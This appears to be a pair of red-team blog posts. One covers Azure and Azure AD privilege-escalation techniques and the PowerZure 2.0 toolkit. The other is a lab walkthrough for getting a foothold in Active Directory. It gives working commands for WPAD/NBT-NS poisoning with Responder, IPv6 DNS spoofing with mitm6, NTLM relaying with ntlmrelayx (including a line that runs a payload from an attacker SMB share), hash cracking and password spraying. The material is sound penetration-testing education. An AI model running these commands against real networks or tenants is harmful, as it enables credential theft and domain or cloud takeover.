Attacking Azure & Azure AD, Part II

Abstract

When I published my first article, Attacking Azure & Azure AD and Introducing PowerZure, I had no idea I was just striking the tip of the iceberg. Over the past eight months, my co-worker Andy Robbins and I have continued to do a lot of research on the Azure front. We’ve recently found some interesting attack primitives in customer environments that we wouldn’t have normally thought of in a lab. This blog post will cover these attack primitives, as well as introduce the re-write of PowerZure by releasing PowerZure 2.0 along with this article.

Azure vs. Azure AD

Before I jump straight into the attacks, I want to clarify some confusion around Azure & Azure Active Directory (AD), as I know this boggled my mind for quite some time.

Azure AD is simply the authentication component for both Azure and Office 365. When I speak of Azure (without the “AD”) I’m referring to Azure resources; where subscriptions, resource groups, and resources live.

The biggest thing to know about these two components is that their role-based access control systems are separate. Meaning a role in Azure AD does not mean you have that role in Azure. In fact, the roles are completely different between the two and share no common role definitions.

Roles in Azure & Azure AD are simply containers for things called ‘definitions’. Definitions are comprised of ‘actions’ and ‘notactions’ which allow you to do things on certain objects. For example, the role definitions for the ‘Global Administrator’ role in Azure AD looks like this:

$a = Get-AzureADMSRoleDefinition | Where-object {$_.DisplayName -eq 'Company Administrator'}$a.RolePermissions.AllowResourceActions
Figure 1: List of actions from the role definition of the Global/Company Administrator role in Azure AD

Notice the ‘microsoft.directory’ namespace. That entire namespace is restricted to Azure AD.

Comparatively, the role definitions for ‘Contributor’ in Azure looks like this

Get-AzRoleDefinition

Figure 2: List of actions and not actions for the ‘Contributor’ role in Azure

Notice that for the Contributor role in Azure, the ‘actions’ property has wildcard (*). This means it can do anything to resources in Azure. However, the ‘NotActions’ property defines what it cannot do, which for the Contributor role, means it cannot add or remove users to resources which is defined in the Microsoft.Authorization/*/Write definition. That is restricted to the ‘Owner’ role.

Azure AD Privilege Escalation via Service Principals

Applications exist at the Azure AD level and if an application needs to perform an action in Azure or Azure AD, it requires a service principal account in order to do that action. Most of the time, service principals are created automatically and rarely require user intervention. On a recent engagement, we discovered an Application’s service principal was a Global Administrator in Azure AD. We then scrambled to find out how to abuse this, as it’s well known you can login to Azure PowerShell as a service principal. We then looked at the ‘Owners’ tab of the Application and saw a regular user was listed as an Owner.

Figure 3: Example of the ‘Owners’ tab on an application

Owners of applications have the ability to add ‘secrets’ or passwords (as well as certificates) to the application’s service principal so that the service principal can be logged in.

Figure 4: Example of the ‘Certificates and Secrets’ tab on an application

The low privileged user could then add a new secret to the service principal, then login to Azure PowerShell as that service principal, who has Global Administrator rights.

The next question we had, was how far could this be abused? So, as Global Administrator, we control Azure AD, but how can we control Azure resources?

Sean Metcalf published an article explaining that Global Administrators have the ability to click a button in the Azure portal to give themselves the ‘User Access Administrator’ role in Azure. This role allows you to add and remove users to resources, resource groups, and subscriptions, effectively meaning you can just add yourself as an Owner to anything Azure.

At a first glance, this toggle switched looked only available in the portal and since service principals cannot login to the portal, I thought I was out of luck. After digging through some Microsoft documentation, there’s an API call that can make that change. After making this a function in PowerZure (Set-AzureElevatedPrivileges), I logged into Azure PowerShell as the service principal and executed the function which gave an odd result.

Figure 5: Unknown errors are the best

As it turns out, after a GitHub issue was opened & answered, this API call cannot be executed by a service principal.

So putting our thinking caps back on, we thought of other things a Global Administrator can do — like creating a new user or assigning other roles! So, as the service principal, we created a new user, then also gave that user the Global Administrator role. I logged in as the new user, executed the API call, and it successfully added the ‘User Access Administrator’ role to them, meaning I now controlled Azure AD and Azure, which all started from a low-privileged user as an Owner on a privileged Application’s Service Principal.

Figure 6: The service principal privilege escalation abuse

Moving from Cloud to On-Premise

With Azure and Azure AD compromised, our next goal was to figure out a way to move from Azure into an on-premise domain. While exploring our options, we found that Microsoft’s Mobile Device Management (MDM) platform, Intune, wasn’t just for mobile devices. Any device, meaning even on-premise workstations & servers, can also be added to Intune. Intune allows administrators to perform basic administrative tasks on Azure AD joined devices, such as restarting, deployment of software packages, etc. One of the things we saw, was that you can upload PowerShell scripts to Intune which will execute on a [Windows] device as SYSTEM. Intune is technically an Azure AD resource, meaning only roles in Azure AD affect it. Since we had Global Administrator privileges, we could upload PowerShell scripts at will to Intune. The devices we wanted to target, to move from cloud to on-premise, were ‘hybrid’ joined devices, meaning they were both joined to on-premise AD and Azure AD.

Figure 7: Windows 10 Device is Hybrid Azure AD Joined + Managed by Intune

To do this, we used the Azure Endpoint Management portal as our new user to upload the PowerShell script.

Figure 8: Adding a PowerShell script to Intune

In Intune, there’s no button to “execute” scripts, but they automatically execute when the machine is restarted and every hour. After a few minutes of uploading the script (which was a Cobalt Strike beacon payload), we successfully got a beacon back and moved from cloud to on-premise.

Figure 9: Using InTune to gain access to a Windows Machine.

This can also be abused purely through PowerZure using the New-AzureIntuneScript and Restart-AzureVM functions.

Figure 10: Abusing InTune with PowerZure

Abusing Logic Apps

Of the many things we’ve researched in Azure, one interesting abuse we found came from a Logic App.

Azure Logic Apps is a cloud service that helps you schedule, automate, and orchestrate tasks, business processes, and workflows when you need to integrate apps, data, systems, and services across enterprises or organizations -Microsoft

Logic Apps have two components: a trigger and an action. A trigger is just something that can be enabled to put the action into effect. For example, you can make an HTTP request a trigger, so when someone visits the URL, the trigger enables the action(s). An action is what you want the actual logic app to do. There’s literally hundreds of actions for multiple services, even some from third party applications and you can even create a custom action (might be interesting).

Figure 11: List of services available that have actions in a logic app. Notice the scroll bar.

One that particularly stood out was AzureAD.

Figure 12: List of Azure AD actions available

Unfortunately, there wasn’t any really juicy actions like adding a role to a user, but the ability to create a user was an interesting case for a backdoor and adding a user to a group could mean privilege escalation if certain permissions or roles are tied to that group.

Figure 13: Example layout of a logic app. When that URL is visited, it creates an AAD group.

The question then was “What privileges does this logic app action fire as?”. The answer is that logic apps use a connector. A connector is an API that hooks in an account to the logic app. Of the many services available, there’s many that have a connector, including Azure AD. The interesting part of this abuse was that when I logged into the connector, it persisted across accounts, meaning when I logged out and switched to another account, my original account was still logged into the connector on the logic app.

Figure 14: The connector on the action of the logic app.

The abuse then, is that you’re a Contributor over a logic app which is using a connector, then you can effectively use that connector account to perform any available actions, provided the connector account has the correct role to do those actions.

Figure 15: ‘intern’ is a Contributor over the logic app, which ‘hausec’ is used as a connector account, meaning intern can use ‘hausec’s roles for any actions available.

Due to the sheer amount of actions available in a logic app, I chose not to implement this abuse into PowerZure at this time, however you can enumerate if a connector is being used using the Get-LogicAppConnector function.

PowerZure 2.0

I’m happy to announce that I’ve re-written all of PowerZure to follow more proper coding techniques, such as using approved PowerShell verbiage, returning objects, and removal of several wrapper-functions. One of the biggest changes was the removal of the Azure CLI module requirements, as PowerZure now only requires the Az PowerShell & AzAD module to reduce overhead for users. Some Azure AD functions have been converted to Graph API calls. Finally, all functions for PowerZure now contain ‘Azure’ after the verb, e.g. Get-AzureTargets or Get-AzureRole .

If you haven’t already seen it, PowerZure now has a readthedocs page which can be viewed here: https://powerzure.readthedocs.io/en/latest/ which has an overview of each function, its syntax & parameters, and its output example. The aim is to make this much more easily adopted by people getting into Azure penetration testing & red teaming.

With PowerZure 2.0, there’s some new functions being released with it:

  • Get-AzureSQLDB — Lists any available SQL databases, their servers, and the administrative user
  • Add-AzureSPSecret — Adds a secret to a service principal
  • Get-AzureIntuneScript — Lists the current Intune PowerShell scripts available
  • New-AzureIntuneScript — Uploads a PowerShell script to Intune which will execute by default against all devices
  • Get-AzureLogicAppConnector — Lists any connectors being used for logic apps
  • New-AzureUser — Will create a user in AAD
  • Set-AzureElevatedPrivileges — Elevates a user’s privileges in AAD to User Access Administrator in Azure if that user is a Global Administrator

As part of any upgrade, several old bugs were fixed and overall functionality has been greatly improved as well. My goal is to put any potential abuses for Azure & Azure AD into PowerZure, so as our research journey continues I’m sure there will be more to come.


Special Thanks to @_wald0 for helping with some of the research mentioned here.

Penetration Testing Active Directory, Part I

I’ve had several customers come to me before a pentest and say they think they’re in a good shape because their vulnerability scan shows no critical vulnerabilities and that they’re ready for a pentest, which then leads me to getting domain administrator in fifteen minutes by just exploiting misconfigurations in AD.

One of the lapses of education I see in the pentesting field is the lack of knowledge when it comes to pentesting Active Directory (AD). Unfortunately, the OSCP does not teach AD pentesting and even the SANS GPEN course barely touches it. The goal of this series is to help showcase some techniques, tools, and methods I’ve used in the past on successful pentests that utilized AD. By no means is this a comprehensive playbook on every method or tool. Throughout this series I will be using Kali Linux 2019 and operating on my own fictional domain via virtual machines.

Let’s start by stating the goal: The goal of a penetration test is to identify any possible attack vector an adversary would use in order to compromise a network. It is not to get domain administrator, then call it quits.

Now that we have a goal, there’s several steps we follow in order to accomplish it. Below is a (rough) visual guide on the pentesting cycle.

Credit: Microsoft

Synopsis: A client has hired you to conduct a penetration test on their network, which utilizes Active Directory. You have not been given anything. You have no credentials, you have no scope, you have no badge to get into the front door, however you manage to tail-gate through a door and find a secluded room with an IP phone. You unplug the IP phone, and plug in your laptop, and find yourself on the network. What’s next? Getting a foothold.

Phase I | Getting a Foothold


With no credentials, there’s a limited amount of reconnaissance we can do, and reconnaissance will occur throughout almost every step of the cycle, however there’s a few things we can do right off the bat to get a foothold onto the network. First, is since we do have network access, is simply check what subnet we’re on via ifconfig or ipconfig. Once you have your IP, do a ping sweep in nmap to see if other devices are accessible

nmap -sn 192.168.1.1/24

If devices come back, then you’re in business. If you get nothing, it’s possible ICMP is disabled, there’s no other devices on the network, or since you’re not authenticated, you cannot communicate with other devices and are possibly being blocked by an identity security solution (e.g. Cisco ISE). For the sake of the article, let’s assume you get a few machines back and can successfully ping them.


Tool: Responder

Next, we’ll use a tool called Responder, or if you’re partial to Windows, Inveigh. What these two tools do is check for a very common misconfiguration within AD, which results in the ability to conduct WPAD and NBT-NS poisoning. By default, Windows is configured to search for a Proxy Auto Config (PAC) file, via the Web Proxy Auto-Discovery (WPAD). It’s important to note that WPAD isn’t the protocol that does the searching, it’s just the set of procedures on how the device finds the PAC file. Automatic discovery of the PAC file is useful in an organization because the device will send out a broadcast asking for the proxy file and receive one. However, it naturally does not authenticate who is sending the proxy file, allowing an attacker to send a spoofed answer which then asks for credentials.

In Kali, responder is installed by default.

responder -I eth0 --wpad

On my Windows 7 Machine, I open Internet Explorer and go to Google, which then initiates a search for a WPAD file. In Responder, I see the request come through, which Responder then automatically answers the request with a challenge, which results in the victim sending their username and hashed password (in NTLMv2 format).

With this hash, there’s a few things we can do. We can attempt to crack it, or we can relay it using a tool like ntlmrelay.py. I went over how to relay ntlm hashes in my article here, so I’ll go over cracking it as that’s usually what I do on an engagement anyways.

If I’m being honest, I rarely password crack on Linux/Kali. I use an nvidia GPU, which never installs correctly on Kali, plus Windows has HashcatGUI, which makes it so much easier and what I’ll be using. I take the hash that I gathered, put it in a file called ‘hash.txt’ and run a few wordlists/rules on it, but in this case I just ran it against rockyou.txt and it cracked within a second.

My settings for HashcatGUI.
Cracked password is ‘Password!’

Now we successfully cracked the password, we have the credentials Alice:Password!

Before continuing, there’s a few other methods I’d like to show in case Responder doesn’t work.


Tool: mitm6

Let’s say the client’s network is using a legitimate PAC file and your spoofing isn’t working. There’s another technique that utilizes IPv6 and DNS to relay credentials to a target. By default, IPv6 is enabled and actually preferred over IPv4, meaning if a machine has an IPv6 DNS server, it will use that over the IPv4. Also by default, Windows machines look for an IPv6 DNS server via DHCPv6 requests, which if we spoof with a fake IPv6 DNS server, we can effectively control how a device will query DNS. More can be read here.

First, download mitm6.

git clone https://github.com/fox-it/mitm6.git
cd mitm6
pip install .

Then run it against the target network workgroup. Since we did a ping sweep before, we received NetBIOS names as well, showing the target domain is lab.local

Here’s what the IP settings looked like on the target before I ran mitm6

Notice one DNS server

Then I ran mitm6

mitm6 -d lab.local

And now the DNS server has changed on the target

Notice the IPv6 address as a DNS server.

Now the real vulnerability is that Windows prefers IPv6 over IPv4, meaning I now control DNS.

So now we leverage the fact that we control DNS with spoofing WPAD answers again via ntlmrelayx.py. I wrote a guide on how to set it up here.

With mitm6 running in one window, open another and run ntlmrelayx.py

ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i

-wh: Server hosting WPAD file (Attacker’s IP)

-t: Target (You cannot relay credentials to the same device that you’re spoofing)

-i: open an interactive shell

From here, you can establish connection to your command and control (C2) framework of your choosing. In this case, I’m using SILENTTRINITY, so I use the -c command to execute my command, which in this case is using MSBuild to build my malicious payload.

ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/ --no-smb-server -c 'C:\Windows\Microsoft.NET\Framework64\v3.5\msbuild.exe \\192.168.218.129\SMB\msbuild.xml'

But oh no, msbuild.exe in this case does not build the XML file and I get no connection back to SILENTTRINITY, as that would be too easy. Instead, I look at my SMB server and see the relayed hash

Which I then crack instead.

And now we successfully have credentials to the network without using Responder.


Tool: CrackMapExec

CrackMapExec is essentially a swiss-army knife for pentesters. From password spraying and hash passing, to command execution, it should be used in every pentesters toolkit.

If all else fails, we can attempt password spraying. There’s a reason why this method is last and that is because of password lockouts. Password lockouts are not as common as you may think, which allows an attacker to use a dictionary attack against usernames. Getting a username is the first step, which can be accomplished via OSINT and using theharvester. If we did not have a username from OSINT, we can also give CrackMapExec (CME) a username wordlist, but for the sake of time, let’s assume we have the username rsmith.

If you’re on Kali, CrackMapExec should be installed if you’re on a newer version, but if not it can be installed

apt-get install crackmapexec

Since we had a device on the network identified from the scan, we can give CME a password list paired with the username and attempt to login.

crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p ~/Documents/wordlists/fasttrack.txt --shares

After a few seconds, the password is found.

Credentials found!

It may seem CTF-y, but season:year is an extremely popular password combination.

With these found credentials, we now have a regular user account and will move on to privilege escalation in part two.